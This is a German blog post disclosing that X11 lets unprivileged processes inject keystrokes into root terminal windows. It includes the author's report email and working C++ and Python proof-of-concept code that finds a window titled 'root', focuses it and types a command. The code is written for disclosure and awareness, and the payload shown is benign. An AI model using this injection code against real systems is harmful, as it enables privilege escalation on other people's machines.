xOrg und Sudo unsicher / Linux es wird Zeit für Wayland
In den letzten Tagen wollte ich Linux Mint ausprobieren. Da ich von Windows komme und mich die ständige Passwortabfrage gestört hat, habe ich überlegt, PAM und Polkit für mich anzupassen, sodass, ähnlich wie bei der Windows-UAC, das Passwort mit einem einfachen "Okay" bestätigt werden kann – also nur durch den Benutzer oder ein Programm, das die angeforderten Berechtigungen besitzt.
Nachdem ich in PAM ein neues Modul hinzugefügt hatte, das eine Meldung mit einem Rückgabewert anzeigt, wollte ich dieses natürlich auch später vor Programmen ohne Root-Rechte schützen. Dabei wurde mir ein Sicherheitsproblem bewusst, das mit X.Org besteht, welches für die Anzeige der GUI, des Desktops und der Fenster zuständig ist.
Bei X.Org gibt es keine Möglichkeit, Fenster vor Interaktionen durch Prozesse mit niedrigeren Privilegien zu schützen. Das bedeutet, dass es einem Angreifer möglich wäre, sein Programm als gewöhnlicher Nutzer ohne Root-Rechte zu starten und dann einfach darauf zu warten, dass der Benutzer beispielsweise eine Bash-Sitzung mit sudo als Root ausführt, um Eingaben in diese Sitzung zu tätigen. Ein anderes Fenster, wie etwa Nemo als Systemverwalter, wäre natürlich auch möglich.
Ja, X.Org ist in die Jahre gekommen und wird nur noch bei Sicherheitslücken aktualisiert. Unter Windows dürfen im User-Mode ohne Admin keine virtuellen Mausereignisse oder Tastaturanschläge an höher privilegierte Prozesse gesendet werden – diese Absicherung fehlt unter X.Org vollständig. Es wäre fast besser, diese Funktion zu deaktivieren; allerdings müsste dafür noch viel an X.Org entwickelt werden, und Programme wie die Bildschirmtastatur würden ohne großen Aufwand nicht mehr funktionieren.
Diese Probleme sind auch von experimentellen Wayland-Oberflächen bekannt, bei denen das System noch nicht an das Berechtigungssystem angepasst wurde. X.Org hat auch keinen Schutz gegen das unautorisierte Abgreifen des Bildes von einem Programm. Wayland hat hier Verbesserungen eingeführt und ein Berechtigungssystem hinzugefügt.
Für alle, die nicht wissen, was Root auf einem Linux-System bedeutet: Mit Root hat man praktisch sehr leicht Zugriff auf Ring 0 (den Kernel).
Berechtigungsebenen unter Linux:
Ring 3: User Mode – Dies ist die Ebene, auf der normale Benutzeranwendungen laufen (z. B. Texteditoren, Webbrowser). In diesem Modus haben Anwendungen eingeschränkte Berechtigungen. Sie können nicht direkt auf Hardware oder kritische Systemressourcen zugreifen, sondern müssen dafür Systemaufrufe (Syscalls) verwenden, die vom Kernel bereitgestellt werden.
Ring 2 und Ring 1: Diese Ringe werden auch unter Linux normalerweise nicht aktiv genutzt. Sie könnten theoretisch für Treiber oder ähnliche Funktionen verwendet werden, aber die meisten modernen Betriebssysteme, einschließlich Linux, verwenden sie nicht. Alle Treiber unter Linux laufen in der Regel entweder im User Mode (Ring 3) oder im Kernel Mode (Ring 0).
Ring 0: Kernel Mode – In diesem Ring läuft der Linux-Kernel. Hier hat das Betriebssystem uneingeschränkten Zugriff auf die Hardware und die niedrigstufigen Systemressourcen. Kernel-Code (z. B. Treiber, Systemaufruf-Implementierungen) läuft auf dieser Ebene und kann direkt auf Speicher und Hardware zugreifen.
Zusätzlich gibt es in virtuellen Umgebungen und modernen Systemen:
Ring -1: Hypervisor – Diese Ebene wird verwendet, wenn Linux in einer virtuellen Maschine läuft. Ein Hypervisor verwaltet die Virtualisierung und ermöglicht es, dass mehrere Betriebssysteme (Gäste) gleichzeitig auf einem Host-System laufen. Der Hypervisor hat direkten Zugriff auf die physische Hardware und kontrolliert die Zuweisung von Ressourcen an die virtuellen Maschinen.
Ring -2: System Management Mode (SMM) – Dies ist eine spezielle Betriebsart für sehr niedrige, hardwarebezogene Aufgaben wie Energieverwaltung, Fehlerbehandlung oder andere Firmware-Operationen. Dieser Modus wird durch die CPU und die Firmware (z. B. BIOS oder UEFI) kontrolliert und läuft unterhalb aller Betriebssystemschichten. Linux oder ein anderes Betriebssystem hat normalerweise keinen direkten Zugriff auf diesen Modus, da er vom Systemmanagement unabhängig verwaltet wird.
Unter Linux sind die Ringe also größtenteils auf Ring 3 (User Mode) und Ring 0 (Kernel Mode) beschränkt. Die anderen Ringe sind theoretisch möglich, werden jedoch meistens nur in sehr speziellen Fällen (wie Virtualisierung oder Hardware-Management) genutzt.
Mit Root erhalten wir die Möglichkeit, vom Ring 3 aus Systemaufrufe an den Kernel im Ring 0 zu senden.
Ich habe dieses Problem natürlich auch dem Entwickler gemeldet, bin aber davon ausgegangen, dass es durch die Existenz von Wayland bereits bekannt ist. Nach mehr als zwei Wochen habe ich keine Antwort erhalten, also denke ich, es ist bekannt und nicht relevant.
Text der E-Mail:
Description: While developing a feature to replace password prompts with user-specific notifications using PMA and Polkit, I discovered a significant security vulnerability in X11 environments.
The issue arises from the fact that even GUI applications running as root are not protected from interaction by user-mode processes.
During my research on X11, I found that a malicious process could be executed in user mode and simply wait for the user to open a terminal with root privileges.
This process can then determine if a GNOME terminal (or similar GUI) has access to sudo or is running a child process as root.
The attacker can send commands to the minimized window or even cover their activities with a screenshot.
This all happens within a second, allowing the malicious process to execute commands as root by leveraging the root Bash session, initiated without the user's explicit awareness.
While I understand that Wayland aims to address such vulnerabilities by introducing stricter isolation between processes, I wanted to bring this issue to your attention.
My goal is to understand whether you are aware of this specific vulnerability and if any mitigation strategies are planned for X11, besides the transition to Wayland.
Thank you for considering this security concern. I look forward to any insights you can provide.
sudo apt-get install libx11-dev libxtst-dev
g++ -o find_and_type pentest.cpp -lX11 -lXtst
Run ./find_and_type in usermode.
Run a new bash and type sudo su.
The "./find_and_type " program will attempt to type "sudo --version" into the terminal window that has root access.
Der Test wurde einmal mit Python und einmal mit C++ geschrieben. Ich frage einfach nur ab, wie die Fensternamen sind. Wenn ich ein Fenster mit "root" im Namen finde, wird dieses Fenster in den Vordergrund gesetzt (XSetInputFocus()). Das bemerkt der Nutzer kaum und es funktioniert sogar, wenn das Fenster minimiert ist. Danach sende ich einfach mit der Funktion XTestFakeKeyEvent() meine Tastatureingaben an das Programm. Mausbewegungen wären natürlich auch möglich, aber das hat sich in meinem Fall als unnötig herausgestellt, da ich das Fenster bereits in den Vordergrund setze. Es gibt auch eine Möglichkeit, mit XSendEvent() direkt an ein Fenster zu senden, was mir jedoch nicht gelungen ist. Man kann natürlich auch ohne die Fensternamen herausfinden, ob die GUI eines Terminals als Root läuft, aber ich wollte eine schnelle Lösung, teils erstellt mit ChatGPT, nur als Machbarkeitsbeweis.
Testcode in C++:
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/Xatom.h>
#include <X11/keysym.h>
#include <X11/extensions/XTest.h>
#include <iostream>
#include <string>
#include <sstream>
#include <vector>
#include <cstring> // für memset
#include <unistd.h> // für sleep
// Funktion zum Ausführen eines Befehls und Abrufen der Ausgabe
std::string exec(const char* cmd) {
char buffer[128];
std::string result;
FILE* pipe = popen(cmd, "r");
if (!pipe) {
throw std::runtime_error("popen() fehlgeschlagen!");
}
while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
result += buffer;
}
pclose(pipe);
return result;
}
// Fensterstruktur definieren
struct WindowInfo {
Window id; // Ändere von std::string auf Window
int x, y, width, height;
std::string title;
};
// Fensterinformationen abrufen
std::vector<WindowInfo> get_windows() {
std::vector<WindowInfo> windows;
std::string output = exec("wmctrl -lG");
std::istringstream stream(output);
std::string line;
while (std::getline(stream, line)) {
std::istringstream line_stream(line);
std::vector<std::string> parts;
std::string part;
while (line_stream >> part) {
parts.push_back(part);
}
if (parts.size() >= 9) {
try {
WindowInfo info;
info.id = std::stoul(parts[0], nullptr, 16); // Konvertiere Hex-String zu Window-ID
info.x = std::stoi(parts[2]);
info.y = std::stoi(parts[3]);
info.width = std::stoi(parts[4]);
info.height = std::stoi(parts[5]);
info.title = parts[7];
for (size_t i = 9; i < parts.size(); ++i) {
info.title += " " + parts[i];
}
windows.push_back(info);
} catch (const std::invalid_argument& e) {
std::cerr << "Fehler beim Parsen von Ganzzahlen: " << e.what() << std::endl;
}
}
}
return windows;
}
void send_text_direct(Display* display, Window win, const std::string& text) {
XEvent event;
memset(&event, 0, sizeof(event));
// Setze die Eingabefilter auf das Fenster, um sicherzustellen, dass es Eingaben erhält
XSelectInput(display, win, KeyPressMask | KeyReleaseMask);
for (char c : text) {
KeySym keysym;
if (c == ' ') {
keysym = XK_space;
} else if (c == '-') {
keysym = XK_minus;
} else {
keysym = XStringToKeysym(std::string(1, c).c_str());
}
if (keysym == NoSymbol) {
std::cerr << "Unbekanntes Zeichen: " << c << std::endl;
continue;
}
KeyCode keycode = XKeysymToKeycode(display, keysym);
event.type = KeyPress;
event.xkey.display = display;
event.xkey.window = win;
event.xkey.root = DefaultRootWindow(display);
event.xkey.subwindow = None;
event.xkey.time = CurrentTime;
event.xkey.keycode = keycode;
event.xkey.same_screen = True;
// Sende KeyPress-Ereignis
XSendEvent(display, win, True, KeyPressMask, &event);
XFlush(display);
// Sende KeyRelease-Ereignis
event.type = KeyRelease;
XSendEvent(display, win, True, KeyReleaseMask, &event);
XFlush(display);
}
// Sende Enter-Taste
KeySym enterKey = XK_Return;
KeyCode enterCode = XKeysymToKeycode(display, enterKey);
event.xkey.keycode = enterCode;
// Sende KeyPress-Ereignis für Enter
event.type = KeyPress;
XSendEvent(display, win, True, KeyPressMask, &event);
XFlush(display);
// Sende KeyRelease-Ereignis für Enter
event.type = KeyRelease;
XSendEvent(display, win, True, KeyReleaseMask, &event);
XFlush(display);
}
// Funktion zum Senden von Text an ein Fenster
void send_text(Display* display, Window win, const std::string& text) {
for (char c : text) {
KeySym keysym;
if (c == ' ') {
keysym = XK_space;
} else if (c == '-') {
keysym = XK_minus;
} else {
keysym = XStringToKeysym(std::string(1, c).c_str());
}
if (keysym == NoSymbol) {
std::cerr << "Unbekanntes Zeichen: " << c << std::endl;
continue;
}
KeyCode keycode = XKeysymToKeycode(display, keysym);
// KeyPress
XTestFakeKeyEvent(display, keycode, True, 0);
XFlush(display);
// KeyRelease
XTestFakeKeyEvent(display, keycode, False, 0);
XFlush(display);
}
// Sende Enter-Taste
KeySym enterKey = XK_Return;
KeyCode enterCode = XKeysymToKeycode(display, enterKey);
XTestFakeKeyEvent(display, enterCode, True, 0);
XFlush(display);
XTestFakeKeyEvent(display, enterCode, False, 0);
XFlush(display);
}
int main() {
Display* display = XOpenDisplay(nullptr);
if (!display) {
std::cerr << "Fehler beim Öffnen des X Displays" << std::endl;
return 1;
}
std::string title_substr = "root";
bool found = false;
while (true) {
auto windows = get_windows();
for (const auto& win : windows) {
if (win.title.find(title_substr) != std::string::npos) {
std::cout << "Gefundenes Fenster: ID=" << win.id
<< ", Position=(" << win.x << ", " << win.y << ")"
<< ", Titel: " << win.title << std::endl;
// Setze den Fokus auf das Fenster, falls es noch nicht fokussiert ist
XSetInputFocus(display, win.id, RevertToParent, CurrentTime);
XFlush(display);
// Rufe die korrekte Funktion zum Senden von Text auf
send_text(display, win.id, "sudo --version");
found = true;
break;
}
}
if (found) {
std::cout << "Befehl gesendet. Warte auf den nächsten Versuch." << std::endl;
found = false; // Setze auf false für den nächsten Suchlauf
} else {
std::cout << "Kein passendes Fenster gefunden. Suche fortsetzen..." << std::endl;
}
sleep(1); // Warte 1 Sekunde bevor der nächste Suchlauf startet
}
XCloseDisplay(display);
return 0;
}
Testcode in Python:
import subprocess
import pyautogui
import time
def get_window_position(title_substr):
try:
# Fenster mit wmctrl suchen
result = subprocess.check_output(['wmctrl', '-lG']).decode()
for line in result.splitlines():
print(f"Zeile: {line}")
parts = line.split()
print(f"Teile: {parts}")
# Fenster-ID und Titel extrahieren
win_id = parts[0]
# Titel kann mehrere Teile haben; den Rest der Zeile als Titel verwenden
win_title = ' '.join(parts[7:])
print(f"Fenstertitel: {win_title}")
# Überprüfen, ob der Titel den Suchbegriff enthält
if title_substr in win_title:
x = int(parts[2])
y = int(parts[3])
print(f"Gefundenes Fenster: ID={win_id}, Position=({x}, {y})")
return x, y
print("Fenster nicht gefunden")
return None
except subprocess.CalledProcessError as e:
print(f"Fehler bei der Ausführung von wmctrl: {e}")
return None
def main():
window_title_substr = "root" # Teil des Fenstertitels
position = get_window_position(window_title_substr)
if position is None:
return
x_pos, y_pos = position
# Maus bewegen und klicken
pyautogui.moveTo(x_pos + 100, y_pos + 100) # Beispielkoordinaten
pyautogui.click()
# Text eingeben
time.sleep(1) # Warte, um sicherzustellen, dass das Fenster aktiv ist
pyautogui.write('sudo --version')
pyautogui.press('enter')
if __name__ == "__main__":
main()
Da ich von diesem Problem nicht begeistert war, habe ich mich dazu entschlossen, etwas Aufklärungsarbeit in einem Artikel zu leisten.
Aus meinem UAC-Meldungsnachbau für Linux wird also nichts, bis Mint Wayland fehlerfrei unterstützt. Ich habe mich jetzt dazu entschieden, einfach über eine Polkit-Regel für Root und Sudo-Gruppen die Passworteingabe zu deaktivieren und in PAM mein Modul mit der Abfrage einfach ohne Schutz zu belassen. Letztlich kann jeder Angreifer einfach warten, bis ich eine Bash als Root öffne – und das kommt bei mir nicht selten vor. Dann kann er den Befehl sogar in kürzester Zeit senden, während die Bash minimiert ist oder ein Screenshot über die Anwendung zeichnen, und sich selbst als Root starten.
Die momentan einzige Möglichkeit, sich gegen diesen Angriff zu wehren, ist, keinen Nutzer als Systemverwalter in der Sudo-Gruppe zu haben. Ich halte es aber für höchst unwahrscheinlich, dass sich jemand diese Einschränkung auferlegen möchte.
Eine andere Möglichkeit für die Entwickler wäre, die Funktion, um virtuelle Tasten- und Mausereignisse an Fenster zu senden, in Wayland zu deaktivieren.
Ich finde jedoch, die beste Möglichkeit ist, X.Org einfach hinter sich zu lassen und auf Wayland zu setzen, das uns endlich unter dem Desktop echte Sicherheit mit einem Berechtigungssystem unter Linux bringt.